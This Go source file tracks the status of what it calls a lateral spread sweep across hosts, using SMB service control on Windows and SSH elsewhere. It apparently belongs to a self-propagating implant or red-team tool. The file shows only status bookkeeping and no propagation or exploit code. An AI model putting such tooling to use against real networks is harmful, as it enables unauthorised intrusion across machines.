package deploy import ( "encoding/json" "runtime" "sync" "time" ) type spreadHostResult struct { Host string `json:"host"` Success bool `json:"success"` Error string `json:"error,omitempty"` } type spreadStatusSnapshot struct { StartedAt string `json:"started_at,omitempty"` FinishedAt string `json:"finished_at,omitempty"` InProgress bool `json:"in_progress"` HostsTried int `json:"hosts_tried"` Successes int `json:"successes"` Errors int `json:"errors"` Platform string `json:"platform"` Method string `json:"method"` Hosts []spreadHostResult `json:"hosts"` } var ( spreadMu sync.RWMutex spreadSnap spreadStatusSnapshot spreadPending int ) const maxSpreadHostResults = 64 func spreadMethodForPlatform() string { if runtime.GOOS == "windows" { return "smb_scm" } return "ssh" } func beginSpreadSweep(method string, targetCount int) { spreadMu.Lock() spreadSnap = spreadStatusSnapshot{ StartedAt: time.Now().UTC().Format(time.RFC3339), InProgress: targetCount > 0, HostsTried: targetCount, Platform: runtime.GOOS, Method: method, Hosts: nil, } spreadPending = targetCount if targetCount == 0 { spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339) } spreadMu.Unlock() } func recordSpreadAttempt(host string, success bool, errMsg string) { spreadMu.Lock() defer spreadMu.Unlock() if success { spreadSnap.Successes++ } else if errMsg != "" { spreadSnap.Errors++ } if len(spreadSnap.Hosts) < maxSpreadHostResults { spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{ Host: host, Success: success, Error: errMsg, }) } if spreadPending > 0 { spreadPending-- if spreadPending == 0 { spreadSnap.InProgress = false spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339) } } } func finishSpreadSweepImmediate() { spreadMu.Lock() spreadSnap.InProgress = false if spreadSnap.FinishedAt == "" { spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339) } spreadPending = 0 spreadMu.Unlock() } // GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory). func GetSpreadStatusJSON() string { spreadMu.RLock() snap := spreadSnap spreadMu.RUnlock() if snap.StartedAt == "" { snap.Platform = runtime.GOOS snap.Method = spreadMethodForPlatform() if snap.Hosts == nil { snap.Hosts = []spreadHostResult{} } } b, _ := json.Marshal(snap) return string(b) }